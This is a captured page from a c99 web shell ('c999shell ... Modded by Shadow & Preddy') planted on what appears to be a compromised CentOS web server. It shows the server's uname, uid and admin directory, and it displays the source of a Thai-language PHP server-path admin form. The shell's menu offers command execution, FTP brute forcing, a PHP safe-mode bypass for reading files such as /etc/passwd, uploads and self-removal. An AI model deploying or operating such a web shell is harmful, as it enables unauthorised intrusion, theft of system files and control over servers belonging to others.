!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editpathserver.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsFileUpdate.php";

openWindow();
autotab();

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
$oFd = new FileUpdate($oCA);
  
?>
<SCRIPT language="JavaScript1.2" src="../source/mainmenu.js" type="text/javascript"></SCRIPT>
<script language="javascript" src="../source/calendarDateInput2.js"></script>
<script>
function editp(){
        if(document.ff.new_path.value==""){
            alert("กรุณากรอกชื่อเครื่อง Server ใหม่ !");
            return false;
        }
            document.ff.submit;
        
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<title>....ยินดีต้อนรับ....โปรแกรมควบคุมเวอร์ชั่น</title>
<form name="ff" action="addpathserver.php" METHOD="POST" ENCTYPE="multipart/form-data">
            
  <table width="370" border=0 align="center">
    <!--DWLayoutTable-->
    <tr> 
      <td width="111" <? $countrow++;  if(($countrow%2) == 0){ ?>  bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>"  <? }?>><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ชื่อเครื่อง Server เดิม  
</font></td>
      <td width="232" <?  if(($countrow%2) == 0){ ?>  bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>"  <? }?>><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
        http://<? echo $pserver?></font></td>
    </tr>
    <tr> 
      <td <? $countrow++;  if(($countrow%2) == 0){ ?>  bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"  <? }?>>
      <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ชื่อเครื่อง Server ใหม่  </font></td>
      <td <?  if(($countrow%2) == 0){ ?>  bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"  <? }?>>
       <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
      http://<input name="new_path" type="text" size="29" maxlength="100"></font></td>
    </tr>
    <tr> 
      <td height="22" colspan="2"  align="center"><input type="submit" name="editpath" value="บันทึก" onClick='return editp();'></td>
    </tr>
  </table>
  <br>
  <table align="center">
        <tr>
        <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><a href="#" onClick="window.close()">[ปิดหน้าต่างนี้]</a></font></td>
        </tr>
</table>
 <input type="hidden" name="method" value="editpath">
</form>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0154 ]--